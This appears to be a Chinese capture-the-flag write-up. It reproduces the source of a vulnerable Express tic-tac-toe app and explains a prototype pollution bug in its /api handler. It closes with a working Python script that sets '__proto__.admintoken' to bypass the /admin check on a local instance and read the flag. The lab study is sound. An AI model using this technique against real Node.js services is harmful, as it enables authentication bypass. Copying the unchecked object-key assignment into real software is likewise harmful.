目录
准备工作
解题
代码审计
Payload
准备工作
将这道题所需依赖模块都安装好后
运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了
解题
代码审计
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
关键代码 if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');}
可以看到flag就在这个if里面,想要进来就需要请求的query.querytoken等于md5编码后的user.admintoken
但是纵观全文,根本就没有admintoken这个值,所以就需要我们原型链污染一下
解题关键就在这里,将请求体里面的row,col,data都是我们post传进去的可控的
Payload
import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=c6393918b7bfdb774faa34d75e56c4cd"headers = {"Content-Type" : "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"oogalxy"}res1 = requests.post(url1,headers = headers,data = json.dumps(data1))
res2 = requests.get(url2)print(res2.text)
说明:/api和/admin进的地方不一样headers是为了能让服务器读懂json格式
把data转成json格式,要不然__proto__不是属性
这个比之前那个简单一些,只是我想拿burpsuite复现遇到了点阻碍,回去研究一下